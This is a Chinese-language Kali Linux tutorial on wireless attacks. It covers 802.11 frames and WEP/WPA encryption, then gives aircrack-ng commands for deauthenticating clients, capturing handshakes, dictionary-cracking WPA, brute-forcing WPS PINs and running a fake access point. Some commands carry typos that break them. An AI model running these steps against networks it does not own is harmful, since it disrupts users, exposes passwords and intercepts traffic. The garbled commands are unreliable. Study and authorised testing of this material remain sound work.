Kali使用教程(二):无线攻击

常用的WLAN标准如下:

802.11 - The original WLAN standard
802.11a- Up to 54 Mbit/s on 5 GHz
802.11b- 5.5 Mbit/s and 11 Mbit/s on 2.4 GHz
802.11g- Up to 54 Mbit/s on 2.4 GHz. Backward compatible with 802.11b
802.11i- Provides enhanced security
802.11n - Provides higher throughput with Multiple Input/Multiple Output (MIMO)

信号干扰问题:

2.4GHz band (2. 4GHz - 2.485GHz),它拥有11-14个重叠的信道channels,每个信道22MHz带宽,只有三个完全不重叠的信道,所以多个2.4g信号会发送干扰

SSID:

Service Set ldentifier (SSID)
AP每秒钟约10次通过Beacon帧广播SSID
客户端连接到无线网络后也会宣告SSID

MONITOR MODE

Monitor不是一种真的无线模式,但是对无线渗透至关重要,它允许无线网卡没有任何筛选的抓包(802.11包头),与有线网络的混杂模式可以类比,适合的网卡和驱动不但可以monitor,更可以Injection

无线网卡配置

1
2
3
4
5
6
7
8
9
扫描附近AP:
iw dev wlan2 scan| grep SSID
iw dev wlan2 scan| egrep "DS\ Parameter\ set|SSID"
iwlist wlan2 scanning | egrep "ESSID↓Channel"

添加删除侦听端口:
iw dev wlan2 interface add wlan2mon type monitor
tcpdump -S 0 -i wlan2mon -P
iw dev wlan2mon interface del

协议

DADIOTAP头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
802.1帧发射和接收的事实标准,802.11依赖Radiotap完成通信过程
Linux系统在驱动和API中内建支持Radiotap
802.11帧发射之前,网卡驱动在802.11头前面添加Radiotap头,反之当网卡接收到
无线帧时,驱动通知MAC层,此帧头包含Radiotap头
Radiotap为802.11帧传递额外信息,厂家可自定义,因此头长度不固定
不破坏原始头结构,增加传递的信息

组成:
分为Header和data
Version (8bit )
值始终为0
Pad (8bit)
未使用,只作为字段强制对其的占位;
Length (16bit)
整个radiotap头长度(可变),作用是确定802.11头的开始位置
Present (32bit)
Data段的掩码
Ext (1、0)
MAC不能理解的头部直接忽略

BEACON FRAMES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
AP发送的广播帧,通告无线网络的存在(BSSID )
发包频率
102.4ms (可变)
时间单位1024ms (60秒)
SSID网络名
隐藏AP不发SSID广播
IBSSI Status
0: infrastructure
1: ad-hoc
Privicy
WEP、WPA
ESSID
名称、长度
速率
802.11 g (1-54Mbit )
信道
11

DATA FRAMES

1
2
3
4
5
6
传输用户数据
DATA Frame
空数据帧
Null data frame
只包含MAC头和FCS
STA用于声明自己将要进入省电模式

连接无线网络完整过程

1
2
3
4
5
6
7
8
9
10
11
Probe
STA向所有信道发出probe帧,发现AP
AP应道Response
Authentication
STA向AP发出验证请求
发生认证过程(步骤可变)
AP响应STA的认证结果
Association
STA发出关联请求
AP响应关联请求
关联成功,开始通信

WEP探测过程

1
2
3
Beacon标识使用WEP加密
STA发送普通Probe帧
AP响应Probe Response帧声明其采用WEP加密

WPA探测过程

1
2
3
两个AP的Beacon包内容不同,但都声明采用了WPA加密
不同厂商对802.11标准的实现方式不同
包头包含WPA1字段信息

WEP OPEN认证

1
2
3
4
5
6
7
8
WEP Open认证与open认证通信过程相同
正确认证后通信数据被WEP加密
如果认证时客户端输入错误密码
认证依然可以通过
AP将丢弃该STA的数据包
起始向量被错误地密钥解密后完整性被破坏
但数据传输将失败
认证响应正确,身份验证成功

WEP PSK认证过程

1
2
3
4
5
6
7
8
STA发认证请求
AP返回随机Challenge消息
STA使用PSK加密Cha并发回给AP
AP使用PSK解密密文,获得Cha并与
原始Cha比对,相同则验证成功,
不同则验证失败;

大部分无线驱动首先尝试open验证,如失败则尝试PSK

加密协议

1
2
3
4
5
6
7
8
9
无线安全根源
802.11基于无线电波发射信息
嗅探侦听是主要问题
加密机制是必须手段
Wired Equivalent Privacy (WEP)
802.11标准的一部分
发布后不久被发现存在安全漏洞
WI-Fi Protected Access (WPA)取代WEP
WPA2 (802.11i标准)

OPEN无加密网络

1
2
3
无任何加密机制
所有数据都可以被嗅探
STA和AP只协商拼配参数即可连入网络

WEP加密算法

1
2
3
4
5
6
7
使用Rivest Cipher 4 (RC4)算法加密流量内容,实现机密性
CRC32算法检查数据完整性
标准采用使用24位initialization vector (IV)
受美国加密技术出C限制法律的要求:
高于64bit key禁止出口
所以除24bit IV之外真实的key只有40bit的版本被允许出口
出口限制法律撤销后实现了128bit key的WEP版本(使用相同的24bit IV)

RC4算法

1
2
3
4
5
6
7
8
9
RSA实验室研发的对称加密-流算法:
实现简单
速度快

加密:对明文流和密钥流进行XOR计算
解密:对密文流和密钥流进行XOR计算
RC4算法key由两个过程生成:
合并IV(起始向量)和PSK(共享密钥),利用Key Scheduling Algorithm (KSA)算法生成起始状态表
Pseudo -Random Generation Algorithm (PRGA)算法生成最终密钥流

WPA安全系统

1
2
3
4
5
6
7
8
9
Wi-Fi Protected Access
802.11i组为提高无线安全,开发两个新的链路层加密协议
Temporal Key Integrity Protocol (TKIP)
WPA1 (较之WEP可动态改变密钥)
Counter Mode with CBC-MAC (CCMP)
WPA2
WPA加密两种安全类型
WPA个人:使用预设共享密钥实现身份验证
WPA企业:使用802. 1X和Radius服务器实现AAA

WPA1

1
2
3
4
5
6
7
8
9
802.11i第三版草案
与WEP比较:
都采用逐包进行密钥加密
128位的key48位的初向量(IV)
RC4流加密数据
帧计数器避免重放攻击
TKIP使用Michael算法进行完整性校验(MIC )
WEP CRC32
兼容早期版本硬件

WPA2

1
2
3
4
5
依据802.11i完全重新设计实现
也被称为Robust Security Network (RSN)
CCMP替代TKIP
AES加密算法取代了RC4
不兼容早期版本硬件

WPA企业连接过程

1
2
3
4
协商安全协议
身份认证
密钥分发和验证
数据加密完整性

WPA-PSK

1
2
3
协商安全协议
密钥分发和验证
数据加密完整性

密钥交换

1
2
3
4
5
6
7
8
9
WPA四步握手过程生成PTK:
AP发送Anonce给STA
STA生成Snonce计算出PTK
Snonce加PTK的MIC发给AP
AP拿到Snonce计算出PTK
AP计算MIC与接收的MIC比对
MIC一致说明确定STA知道PMK
AP发GTK给STA
STA回复ACK并使用密钥加密

无线渗透测试

AIRCRACK-NG基础

无线渗透和审计神器,包含各种功能的工具套件,支持:
网络检测
嗅探抓包
包注入
密码破解

1
2
3
4
5
6
airmon-ng check #检测是否存在冲突
airmon check kill #杀掉冲突进程

airmon start wlan2 3 #开启网卡监听模式,工作在3信道
iwlist wlan2mon channel #查看工作信道
airmon stop wlan2mon #关闭监听监听模式

AIRODUMP-NG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
无线抓包
airodump-ng wlan2mon #在所有信道进行轮询监听数据包
airodump wlan2mon -C 1 --bssid 00:1 1:22:33:44:55 -W file.cap
#抓取指定信道、指定AP的数据包,并保存到文件中
aireplay -9 wlan2mon
airreplay

参数说明:
BSSID: AP的MAC地址
PWR:网卡接收到的信号强度,距离越近信号越强
-1:驱动不支持信号强度、STA距离超出信号接受范围
RXQ:最近10秒成功接收的数据帧的百分比(数据帧、管理帧),只有在固定信道
时才会出现,
Beacons:接收到此AP发送的beacon帧数量
#Data:抓到的数据帧数量(WEP表示|IV数量) ,包含广播数据帧
#/s:最近10秒内,每秒平均抓到的帧的数量
CH:信道号(从beacon帧中获得),信道重叠时可能发现其他信道
MB: AP支持的最大速率
ENC:采用的无线安全技术WEP、WPA、WPA2、OPEN
CIPHER:采用的加密套件CCMP、TKIP、 WEP40、WEP104
AUTH:身份认证方法MGT、PSK、 SKA、OPEN
ESSID:无线网络名称,隐藏AP此值可能为空,airodump从probe和
association request帧中发现隐藏AP
STATION: STA的MAC地址
Lost:通过sequence number判断最近10秒STA发送丢失的数据包数量(管
理帧、数据帧)
干扰、距离
发包不能收、收包不能发
Packets: STA发送的数据包数量
Probes: STA探测的ESSID

AIRPLAY-NG

1
2
3
4
5
6
7
8
9
10
11
12
产生或者加速无线通信流量
向无线网络中注入数据包
伪造身份验证
强制重新身份验证
抓包重放
用于后续WEP和WPA密码破解
支持10种包注入
获取包的两种途径
指定接口(-i)
抓包文件pcap (-r)
使用:
aireplay-ng <options> <interface name>

Filter Options

image-20200612155352483

AIREPLAY-NG排错

1
2
3
4
5
6
7
8
Aireplay- ng命令挂起没有任何输出
无线网卡与AP工作在不同信道
报错“write failed: Cannot allocate memory wi_ write(): llegal seek"
无线网卡使用Broadcom芯片(bcm43xx) ,替换为b43驱动可解决
可注入但速度很慢,并提示内核消息“rtc: lost some interrupts at 1024Hz"
没有修正方法,此时可以启动多个aireplay-ng命令提高速度
使用-h参数指定注入MAC地址与网卡MAC地址不一致报错
建议保持一致(macchange),先修改MAC

AIREPLAY-NG包注入测试

1
2
3
4
5
6
7
8
9
10
11
12
检测网卡是否可以注入包
检测AP的响应时间
回包率反应链路质量
如果有两个无线网卡,可以检测具体可以注入哪种攻击
基本测试检测AP对probe广播的响应
向每AP发30包
网卡成功发送并可接收包的能力

基本测试
aireplay -9 wlan2mon
向隐藏AP/指定SSID注入
aireplay-ng -9 -e leven -a EC:26:CA:FA:02:DC wlan2mon

MAC地址绑定攻击

1
2
3
4
5
6
7
管理员误以为MAC绑定是一种安全机制
限制可以关联的客户端MAC地址
准备AP
AP基本配置
Open认证
开启无线过滤
修改MAC地址绕过过滤

WEP攻击

1
2
3
4
5
6
WEP密码破解原理
IV并非完全随机
224个包可能出现一次IV重用
收集大量IV之后找出相同IV及其对应密文,分析得出共享密码
回包中包含IV
IV足够多的情况下,任何复杂程度的wep密码都可以被破解

WEP共享密钥破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
启动monitor模式
启动抓包并保存抓包
Deauthentication抓取XOR文件
利用XOR文件与AP建立关联:
aireplay-ng -1 60 -e kifi -y xxxx.xor -a ap的mac -h 我的mac
执行重放攻击(replay)
Deauthentication 使得已经连接的双方断开重连,触发数据包
收集足够DATA之后破解密码
Airdump-ng data 查看抓到多少IV值
官方建议值:
64bit密钥:25万
128bit密钥:150万

使用aircrack-ng xxx.cap破解密码

WPA PSK攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
只有一种密码破解方法:
WPA不存在WEP的弱点
只能暴力破解:
CPU资源
时间
字典质量:
网上共享的字典
泄露密码
地区电话号码段
Crunch生成字典
Kali中自带的字典文件

PSK破解过程:
启动monitor
开始抓包并保存
Deauthentication攻击(解除认证攻击)获取4步握手信息
使用字典暴力破解

首先嗅探指定MAC与AP之间的通信,保存cap文件

1
sudo airodump-ng wlan0mon --bssid C0:A5:DD:9D:BA:2E -c 11 -w wpa

在新的窗口对目标连接进行Deauthentication攻击,从而获取四次握手信息

1
sudo aireplay-ng -0 2 -a C0:A5:DD:9D:BA:2E -c 9C:28:F7:91:47:6E wlan0mon

尝试用kali自带的字典rockyou.txt破解密码,字典可以自行选择合适的

1
sudo aircrack-ng -w rockyou.txt /home/tosang/wpa-01.cap

AIROLIB破解密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
设计用于存储ESSID和密码列表(本质上就是先计算再使用)
计算生成不变的PMK (计算资源消耗型)
PMK在破解阶段被用于计算PTK (速度快,计算资源要求少)
通过完整性:摘要值破解密码
SQLite3数据库存储数据

echo kifi > essid.txt #保存SSID
airolib-ng db --import essid essid.txt #导入数据库
airolib-ng db --stats #查看数据库
airolib-ng db --import passwd <wordlist> #导入字典
自动剔除不合格的WPA字典
airolib-ng db --batch #计算hash密钥
生成PMK
aircrack-ng -r db wpa.cap #使用计算好的数据库去破解

JTR密码破解

1
2
3
4
5
6
7
8
John the ripper
快速的密码破解软件
支持基于规则扩展密码字典
很多人喜欢用手机号码做无线密码
获取号段并利用JTR规则增加最后厂1位的数字
配置文件/etc/john/john.conf
[List.Rules:Wordlist]
$[0-9]$[0-9]$[0-9]

WPS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
WPS是WiFi联盟2006年开发的一项技术
通过PIN码来简化无线接入的操作,无需记住PSK
路由器和网卡各按一个按钮就能接入无线
PIN码是分为前后各4位的2段共8位数字
安全漏洞
2011年被发现安全涉及漏洞
接入发起方可以根据路由器的返回信息判断前4位是否正确
而PIN码的后4位只有1000种定义的组合(最后一位是checksum)
所以全部穷举破解只需要1 1000次尝试
PSK: 218,340, 105,584,896
标准本身没有设计锁定机制,目前多个厂商已实现锁定机制

启动侦听模式后,发现支持WPS的AP
wash -C - wlan0mon
airodump-ng wlanOmon --wps
爆破PIN码
reaver - wlan0mon -b <AP mac> -VV
秒破PIN码
reaver wlan0mon -b <AP mac> -vv-K 1
pixiewps
只适用于固定厂商的芯片,成功率很低
reaver -i wlanOmon -b <AP mac> -Vv -P 88888888

查看周围AP的wps信息

image-20200615174111204

wifite

wifite是一款开箱即用的工具,无需使用各种命令

伪造无线AP

1
2
3
4
5
6
7
8
9
10
11
airbase-ng -a <AP mac> --essid “kifi" -C 11 wlan2mon
#伪造一个开放AP
apt-get install bridge -utils
#安装网桥工具
brctl addbr bridge
brctl addif Wifi Bridge ethO
brctl addif Wifi- Bridge atO
ifconfig ethO 0.0.0.0 up
ifconfig atO 0.0.0.0 up
ifconfig bridge 192. 168.1.10 up
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1

3vilTwinAttacker

一款图形化AP伪造工具

1
2
3
4
5
安装教程如下:
$ git clone https://github.com/P0cL4bs/3vilTwinAttacker.git
$ cd 3vilTwinAttacker
$ sudo chmod +x installer.sh
$ sudo ./installer.sh --install

AIRDECAP-NG进行数据解密

1
2
3
4
5
6
7
8
去除802.1 1头
airdecap-ng -b <AP MAC> 1 .pcap
解密WEP加密数据
airdecap-ng -W <WEP key>-b <AP MAC> 1 .pcap
必须与AP建立关联关系
解密WPA加密数据
airdecap-ng -e kifi -p <PSK> -b <AP MAC> 1 .pcap
抓包文件中必须包含4步握手信息,否则无解

首先对我的ap进行抓包,使用wireshake查看如下

image-20200616110428548

可以看到,上面数据包的Data字段是加密数据(均是802.11报头),无法直接查看。下面使用airdecap-ng进行解密(我的密码已经打码)

image-20200616111203921

再次使用wireshake查看,已经是tcp/IP报头

image-20200616112022939

AIRSERV-NG

AIRSERV-NG可以对AP联网远程操作

1
2
3
4
5
6
7
8
通过网络提供无线网卡服务器
某些网卡不支持客户端/服务器模式
启动无线侦听
服务器端
airserv-ng -P 3333 -d wlan2mon
客户端
airodump-ng 远程ip:3333
某些防火墙会影响C / S间的通信

AIRTUN-NG进行入侵检测

Airtun-NG是一个虚拟隧道接口创建工具,可以监视所有加密流量以实现wIDS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
无线入侵检测wIDS
无线密码和BSSID
需要获取握手信息
中继和重放
Repeate / Replay

wIDS
WEP: airtun-ng -a <AP MAC> -W SKA wlan2mon
WPA: airtun-ng -a <AP MAC> -p PSK te kifi wlan2mon
#开启后使用wireshake监听at0可以实时抓取所有包
#也可以启用disniff、driftnet等嗅探工具对at0进行木马嗅探
ifconfig atO up(先开启后前面的命令才会生效)
四步握手
理论_上支持多AP的wlDS,但2个AP以上时可靠性会下降
WPA: airtun-ng -a <AP MAC> -p PSK -e kif1 wlan2mon
ifconfig at1 up
多AP不同信道时airodump -C 1,11 wlan2mon